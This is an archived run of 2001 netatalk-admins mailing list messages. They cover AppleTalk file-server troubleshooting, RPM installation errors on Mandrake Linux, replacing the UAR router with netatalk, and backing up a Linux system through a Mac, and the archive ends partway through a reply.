MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by terminator.rsug.itd.umich.edu id HAA21028

Finally it seems we found all the answares for my problem:

>1. The connection establishment took about 30 secounds. The chooser
>message was Connection establishment... Switchhing back to appletalk...
>then came the login window. Finaly I set the notcp option and now its
>works fine.
>
>2. AfterI opened a document from the server while editind it or just
>scrolling it my Mac looks like it freeze. But not, just the two arrows
>indicate on the top left corner the network trafic with the netatalk
>server and after 5-10 secound I can continue ma work.

I just corrected the host file on my linux box and removed the notcp
options from my cionfig file.
With this the 2nd problem gone and the tcp connection also seems to fast,
but the true is connecting to appletalk is faster than tcp.

Thanks: Peter

>Chris Herrmann (chris@faredge.com.au):

>consider running something like djb's dnscache - will make name
>resolution a lot faster:
>
>http://cr.yp.to/djbdns.html
>
>it's one component of a range of dns tools.
>
>-----Original Message-----
>From: Palotas Peter [mailto:sysman@starkingnet.hu]
>Sent: Wednesday, 5 September 2001 21:49
>To: netatalk-admins
>Cc: Jason Quigley
>Subject: Re: Slowing down while editing document on the client
>
>
>Jason,
>
>>Jason Quigley (jasonq@mac.com):
>
>>Just a couple of quick questions...
>>
>>You complained about tcp being slow.
>
>Yes. We have a LAN which connets to the Internet via Cisco 706 ISDN modem.
>
>>o What sort of DNS setup have you got?
>
>We don't have dns server in the LAN. We use our Internet provider's NSs
>if it is needed. These are set in the clients and the server as well.
>
>>o Are these machines connected to the internet?
>>o How?
>
>Yes. See below.
>
>>o What have you got in your hosts files (macs and server)?
>
>On macs it is empty. I will chech the server and inform you!
>
>Peter
>>
>>On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:
>>
>>> Anatol,
>>>
>>> Currently I don't use noadouble, I only have the notcp options.
>>>
>>> Peter
>>>
>>>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>>>
>>>> Peter,
>>>>
>>>>>
>>>>> The noadouble option my servers appears very-very slow. I tried it
>>>>> because we use samba as well and PC users confused the .AppleDouble
>>>>> folders.
>>>>>
>>>> donĀ“t use noadouble; hide the .AppleDouble folders in samba with the
>>>> parameter    veto files
>>>>
>>>> -anatol
>>>>
>>>>
>>
>

From netatalk.administrators-errors@umich.edu  Thu Sep 13 08:33:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA22186
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 08:33:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA02048
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 08:33:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA02025
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 08:33:13 -0400 (EDT)
Received: from smtp02do.de.uu.net (smtp02do.de.uu.net [192.76.144.69])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA01926
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 08:33:12 -0400 (EDT)
Received: from [192.168.0.66] ([213.68.139.114])
	by smtp02do.de.uu.net (5.5.5/5.5.5) with ESMTP id OAA28387
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 14:33:09 +0200 (MET DST)
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 13 Sep 2001 14:31:26 +0200
Subject: unsubscribe
From: Matthias Reinhardt <mre@reinhardt-online.de>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B7C673BE.3170%mre@reinhardt-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA22186


Matthias Reinhardt

-- 

Matthias Reinhardt DV Beratung
Feldbergstraße 18
61348 Bad Homburg

Tel: 06172 934963
Fax: 06172 307940
e-mail: mre@reinhardt-online.de




From netatalk.administrators-errors@umich.edu  Thu Sep 13 08:45:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA22733
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 08:45:31 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA21797
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 08:45:31 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA21787
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 08:45:30 -0400 (EDT)
Received: from mail.unb.br (mail.unb.br [164.41.2.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA21665
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 08:45:25 -0400 (EDT)
Received: (from root@localhost)
	by mail.unb.br (8.11.1/8.11.1) id f8D9jQc96601
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 09:45:26 GMT
	(envelope-from wagnerf@unb.br)
Received: from wag ([164.41.95.2])
	by mail.unb.br (8.11.1/8.11.1) with SMTP id f8D9jO996513;
	Thu, 13 Sep 2001 09:45:25 GMT
	(envelope-from wagnerf@unb.br)
Reply-To: <wagnerf@unb.br>
From: "Wagner Fontes" <wagnerf@unb.br>
To: <netatalk-admins@umich.edu>
Subject: problem installing netatalk
Date: Thu, 13 Sep 2001 09:44:46 -0100
Message-ID: <NDBBJIJEIJIEPJDAIKHEKELIEAAA.wagnerf@unb.br>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-AntiVirus: scanned for viruses by AMaViS (http://amavis.org/)

Hi,

I'm trying to install netatalk on a Linux Mandrake 7.2, but it did not work.
First I've tried to install an older version and got these messages:

[root@SERVER /root]# rpm -i /var/lib/rpm/netatalk-1.4b2asun2.1.3-6.i386.rpm
warning: The DDP services appear to be present in /etc/services.
warning: Please check them against services.atalk in the documentation.
[root@SERVER /root]#

then I tested it, and it did not work as you can see below:

[root@SERVER init.d]# ./atalk status
atalkd is stopped
[root@SERVER init.d]# ./atalk start
Starting AppleTalk services: (backgrounded)
[root@SERVER init.d]# ./atalk status
atalkd is stopped
[root@SERVER init.d]#

Then I've tried a newer version (netatalk-1.5pre2-6.i386.rpm) from the
RedHat 7.1 CD, but could'n even install it. See the error messages below:

[root@SERVER /root]# cd /mnt/cdrom/RedHat/RPMS
[root@SERVER RPMS]# rpm -ivh netatalk*
error: failed dependencies:
	libcrypto.so.1   is needed by netatalk-1.5pre2-6
	libdb-3.1.so   is needed by netatalk-1.5pre2-6

Last thing I tried was to uninstall and install a new downloaded one
(netatalk-1.5pre6-1mdk.i586.rpm) - I guess the "mdk" in the file name has
something to do with "Mandrake"...
Anyway, it did not work, because when trying to uninstall the previous, the
RPM gives me the message that the package is not installed and when trying
to "RPM -ivh" the new version, it gives me the message that the package is
already installed...

[root@SERVER rpm]# rpm -ivh netatalk-1.5pre6-1mdk.i586.rpm
package netatalk-1.5pre6-1mdk is already installed
[root@SERVER rpm]# rpm -e netatalk-1.5pre6-1mdk.i586.rpm
error: package netatalk-1.5pre6-1mdk.i586.rpm is not installed
[root@SERVER rpm]# rpm -U netatalk-1.5pre6-1mdk.i586.rpm
package netatalk-1.5pre6-1mdk is already installed

I think I'm doing something stupid, but don't know what.

What should I do to get netatalk working?

Thanks,
Wagner.

*******************************************************************
 Prof.Dr.Wagner Fontes
                          mailto:wagnerf@unb.br
                          ICQ 8451728
                          http://www.geocities.com/WallStreet/6544/
 Centro Brasileiro de Servicos e Pesquisas em Proteinas - CBSP
                          http://www.unb.br/cbsp/
*******************************************************************


From netatalk.administrators-errors@umich.edu  Thu Sep 13 12:14:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA01007
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 12:14:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA13843
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 12:14:55 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA13826
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 12:14:55 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA13770
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 12:14:53 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP id 2A7422C258
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 12:14:38 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f8DGEcf04026;
	Thu, 13 Sep 2001 12:14:38 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15264.56173.886332.444010@gargle.gargle.HOWL>
Date: Thu, 13 Sep 2001 12:14:37 -0400
To: netatalk-admins@umich.edu
Subject: Was my question really that stupid?
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

Quite some time back, I asked the following:


   I've inherited an old installation of uar on an old SunOS box that I'd
   like to replace.  I have a Linux box on all of the same networks as the
   old box.  I've read all the message archives, and everything else I can
   find, but I haven't seen a definitive statement as to whether netatalk
   can in fact replace uar.

   So, can netatalk replace uar?

I got no replies.  To me this indicates one of the following:

1) I asked a really stupid question and was ignored.  But if the
   question was that stupid, I would've have expected to have been
   flamed.

2) No one here has heard of "uar".  But then I would've expected a
   counter-question.

3) My message never got propagated.  But I did see my copy.


So, I'll try again.  Are any of you familiar with "uar", and can I
replace a uar based system with a netatalk based system?

Any help would be appreciated.

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Thu Sep 13 12:39:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA02089
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 12:39:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA28276
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 12:39:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA28259
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 12:39:47 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA28217
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 12:39:46 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 5FC494666A; Thu, 13 Sep 2001 11:39:45 -0500 (CDT)
Date: Thu, 13 Sep 2001 11:39:45 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Cc: "David L Kindred (Dave)" <d.kindred@telesciences.com>
Subject: Re: Was my question really that stupid?
Message-ID: <20010913113945.E7619@newwww.teleologic.net>
References: <15264.56173.886332.444010@gargle.gargle.HOWL>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <15264.56173.886332.444010@gargle.gargle.HOWL>; from d.kindred@telesciences.com on Thu, Sep 13, 2001 at 12:14:37PM -0400
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

http://www.google.com/?q=uar+netatalk

Looks like UAR is an appletalk router.  Netatalk can do that.  See
http://www.google.com?q=netatalk+%22appletalk+router%22

Google is everyone's friend. :)

--Danny, who would otherwise be no help at all

David wrote regarding 'Was my question really that stupid?' on Thu, Sep 13 at 11:25:
> Quite some time back, I asked the following:
[...]
> I got no replies.
[...]
> So, I'll try again.  Are any of you familiar with "uar", and can I
> replace a uar based system with a netatalk based system?
> 
> Any help would be appreciated.

From netatalk.administrators-errors@umich.edu  Thu Sep 13 13:05:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03003
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 13:05:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA19162
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 13:05:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA19142
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 13:05:46 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA19109
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 13:05:45 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Thu, 13 Sep 2001 10:06:30 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 13 Sep 2001 10:05:53 -0700
Subject: Re: Was my question really that stupid?
From: charlie wood <charlie@id-inc.com>
To: <d.kindred@telesciences.com>, <netatalk-admins@umich.edu>
Message-ID: <B7C63580.46CB%charlie@id-inc.com>
In-Reply-To: <15264.56173.886332.444010@gargle.gargle.HOWL>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi David,

The answer that I have is a yes and a no. It depends entirely on what you
need to do. For example, netatalk has the capability to be either a seed or
a soft seed AppleTalk router, but it does not handle CAP and I do not
believe it is capable of supporting ATIP tunneling, both of which UAR does
if memory serves me correctly.

If all you need to do is route AppleTalk packets between two networks,
netatalk can manage that for you. There are other routing capabilities (such
as soft-seed routing) that netatalk can handle as well, if configured
appropriately.

When you get there (if you decide to go there), netatalk's config files are
fairly simple, with all routing configurations are handled in the
atalkd.conf file. Consult the readme.

I use netatalk1.5pre6 as a seed router in my network, and I'm quite happy
with its function as such.


Other info for you, if you are interested or have the need
--------------------------------------------------

There is a good Linux install overview here:

http://www.linuxworld.com/linuxworld/lw-199-04/lw-04-uptime.html


Good AppleTalk routing site, as cited in the netatalk readme:

http://www.neon.com/atalk_routing.html


Hope the info helps.

</charlie>

_____________________________
Charlie Wood

IT Manager
ID, Incorporated
1620 SW Taylor St Suite 100 Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


--

> From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
> Reply-To: d.kindred@telesciences.com
> Date: Thu, 13 Sep 2001 12:14:37 -0400
> To: netatalk-admins@umich.edu
> Subject: Was my question really that stupid?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 13 Sep 2001 12:17:50 -0400 (EDT)
> 
> Quite some time back, I asked the following:
> 
> 
> I've inherited an old installation of uar on an old SunOS box that I'd
> like to replace.  I have a Linux box on all of the same networks as the
> old box.  I've read all the message archives, and everything else I can
> find, but I haven't seen a definitive statement as to whether netatalk
> can in fact replace uar.
> 
> So, can netatalk replace uar?
> 
> I got no replies.  To me this indicates one of the following:
> 
> 1) I asked a really stupid question and was ignored.  But if the
> question was that stupid, I would've have expected to have been
> flamed.
> 
> 2) No one here has heard of "uar".  But then I would've expected a
> counter-question.
> 
> 3) My message never got propagated.  But I did see my copy.
> 
> 
> So, I'll try again.  Are any of you familiar with "uar", and can I
> replace a uar based system with a netatalk based system?
> 
> Any help would be appreciated.
> 
> -- 
> David L. Kindred                       <mailto:d.kindred@telesciences.com>
> Unix Systems & Network Administrator   Telesciences, Inc.
> Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
> Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA
> 


From netatalk.administrators-errors@umich.edu  Thu Sep 13 13:22:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03969
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 13:22:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA08727
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 13:22:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA08706
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 13:22:22 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA08639
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 13:22:20 -0400 (EDT)
Received: from nh-merrimack1a-475.bur.adelphia.net ([24.49.145.219] helo=[192.168.99.66])
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15haAW-000KEJ-00; Thu, 13 Sep 2001 11:20:53 -0600
Date: Thu, 13 Sep 2001 13:22:13 -0400
From: "Chad Leigh, ObjectWerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: "d.kindred@telesciences.com" <d.kindred@telesciences.com>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Was my question really that stupid?
Message-ID: <121782636.1000387332@[192.168.99.66]>
In-Reply-To: <B7C63580.46CB%charlie@id-inc.com>
References:  <B7C63580.46CB%charlie@id-inc.com>
X-Mailer: Mulberry/2.1.0 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



->> From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
>> Reply-To: d.kindred@telesciences.com
>> Date: Thu, 13 Sep 2001 12:14:37 -0400
>> To: netatalk-admins@umich.edu
>> Subject: Was my question really that stupid?
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Thu, 13 Sep 2001 12:17:50 -0400 (EDT)
>>
>> Quite some time back, I asked the following:
>>
>>
>> I've inherited an old installation of uar on an old SunOS box that I'd
>> like to replace.  I have a Linux box on all of the same networks as the
>> old box.  I've read all the message archives, and everything else I can
>> find, but I haven't seen a definitive statement as to whether netatalk
>> can in fact replace uar.
>>
>> So, can netatalk replace uar?
>>
>> I got no replies.  To me this indicates one of the following:
>>
>> 1) I asked a really stupid question and was ignored.  But if the
>> question was that stupid, I would've have expected to have been
>> flamed.
>>
>> 2) No one here has heard of "uar".  But then I would've expected a
>> counter-question.
>>
>> 3) My message never got propagated.  But I did see my copy.
>>
>>
>> So, I'll try again.  Are any of you familiar with "uar", and can I
>> replace a uar based system with a netatalk based system?
>>
>> Any help would be appreciated.
>>

The following is not meant as a flame, but to educate.

The 'Net is a great tool.  But it does not remove the need to do your own 
homework.  The various mail lists cannot be looked at as your personal 
researchers.

The proper way to go about this would to have

1.  Researched "uar" and understand what it does, and what your needs are, 
and how "uar" meets those needs.

2.  Research "netatalk" and compare its capabilities to those needs you 
have and "uar"s meeting of those needs.

3.  Decide whether "netatlks" is a candidate to replace "uar" based on your 
research.

4.  Post to the netatalk list any specific questions based on your 
evaluation of your needs, uar, and netatalk, to act as a safety net to make 
sure you understood your needs and netatalk's capabilities.  Propose to the 
list that you are doing this replacement, stating your needs, any questions 
that arose in your research, and see if any one knows of any red flags that 
you did not consider.


If you expect others to do your research for you you will be disappointed. 
If you take it upon yourself to figure things out, and then use the mail 
list as a peer review of your work, you will probably be rewarded.  You can 
also use the list to ask for pointers to additional information or other 
appriorate help if you get stuck in your research, or to ask specific 
questions that come up while doing your own research.

best regards
Chad



From netatalk.administrators-errors@umich.edu  Thu Sep 13 13:45:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA06221
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 13:45:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA07526
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 13:45:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA07518
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 13:45:52 -0400 (EDT)
Received: from server.floridasunonline.net (user13.net019.fl.sprint-hsd.net [207.30.121.13])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA07503
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 13:45:51 -0400 (EDT)
Received: from progeny (progeny [192.168.1.249])
	by server.floridasunonline.net (8.11.1/8.11.1) with SMTP id f8DHl7r12160
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 13:47:27 -0400
From: Jesse <jg@floridasunonline.net>
To: <netatalk-admins@umich.edu>
Subject: backing up using rsync+netatalk
Date: Thu, 13 Sep 2001 13:45:12 -0400
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="iso-8859-1"
MIME-Version: 1.0
Message-Id: <01091313451200.00559@progeny>
Content-Transfer-Encoding: 8bit

I need to back up a yellow dog linux system but do not have a cd-rom burner 
that is compatible with linux.  We have a cdrom that is attached to a mac 
machine running OS 9.  The idea I have is to use rsync to copy the entire 
machine (yellow dog linux) to a netatalk shared folder (on another PC running 
progeny) and then access the shared folder through the mac and burn backups.  

I'm very new to macintosh's and fairly new to linux administration.  Is this 
a feasible strategy?  I'm particularly worried about file permission mangling 
and any other types of file corruption during the process.

Does anyone have any pointers to a better solution or advice on what to watch 
for?  

TIA,
Jesse

p.s.  Anyone know how to compile rsync on Mac OS 9 or if a binary is 
available?  I can't seem to find anything anywhere?

From netatalk.administrators-errors@umich.edu  Thu Sep 13 14:22:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 14:22:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA21283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 14:22:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA21274
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 14:22:55 -0400 (EDT)
Received: from newns.potsdam.edu ([137.143.110.102])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA20983
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 14:22:40 -0400 (EDT)
Received: (qmail 10185 invoked from network); 13 Sep 2001 17:02:59 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 13 Sep 2001 17:02:59 -0000
Subject: Re: Was my question really that stupid?
From: Matthew Keller <kellermg@potsdam.edu>
To: d.kindred@telesciences.com
Cc: netatalk-admins@umich.edu
In-Reply-To: <15264.56173.886332.444010@gargle.gargle.HOWL>
References: <15264.56173.886332.444010@gargle.gargle.HOWL>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.13.99+cvs.2001.09.08.07.08 (Preview Release)
Date: 13 Sep 2001 13:03:50 -0400
Message-Id: <1000400630.2264.45.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


	Or 4) No one noticed. ;) Yes, Netatalk can do AppleTalk routing. :)

On Thu, 2001-09-13 at 12:14, David L Kindred (Dave) wrote:
> Quite some time back, I asked the following:
> 
> 
>    I've inherited an old installation of uar on an old SunOS box that I'd
>    like to replace.  I have a Linux box on all of the same networks as the
>    old box.  I've read all the message archives, and everything else I can
>    find, but I haven't seen a definitive statement as to whether netatalk
>    can in fact replace uar.
> 
>    So, can netatalk replace uar?
> 
> I got no replies.  To me this indicates one of the following:
> 
> 1) I asked a really stupid question and was ignored.  But if the
>    question was that stupid, I would've have expected to have been
>    flamed.
> 
> 2) No one here has heard of "uar".  But then I would've expected a
>    counter-question.
> 
> 3) My message never got propagated.  But I did see my copy.
> 
> 
> So, I'll try again.  Are any of you familiar with "uar", and can I
> replace a uar based system with a netatalk based system?
> 
> Any help would be appreciated.
> 
> -- 
> David L. Kindred                       <mailto:d.kindred@telesciences.com>
> Unix Systems & Network Administrator   Telesciences, Inc.
> Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
> Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Sep 13 15:24:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA11566
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 15:24:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA12697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 15:24:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA12679
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 15:24:35 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA12640
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 15:24:34 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 35DF546714; Thu, 13 Sep 2001 14:24:33 -0500 (CDT)
Date: Thu, 13 Sep 2001 14:24:33 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Cc: Jesse <jg@floridasunonline.net>
Subject: Re: backing up using rsync+netatalk
Message-ID: <20010913142433.J7619@newwww.teleologic.net>
References: <01091313451200.00559@progeny>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <01091313451200.00559@progeny>; from jg@floridasunonline.net on Thu, Sep 13, 2001 at 01:45:12PM -0400
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Jesse wrote regarding 'backing up using rsync+netatalk' on Thu, Sep 13 at 12:52:
> I need to back up a yellow dog linux system but do not have a cd-rom burner 
> that is compatible with linux.  We have a cdrom that is attached to a mac 
> machine running OS 9.  The idea I have is to use rsync to copy the entire 
> machine (yellow dog linux) to a netatalk shared folder (on another PC running 
> progeny) and then access the shared folder through the mac and burn backups.  
> 
> I'm very new to macintosh's and fairly new to linux administration.  Is this 
> a feasible strategy?  I'm particularly worried about file permission mangling 
> and any other types of file corruption during the process.
> 
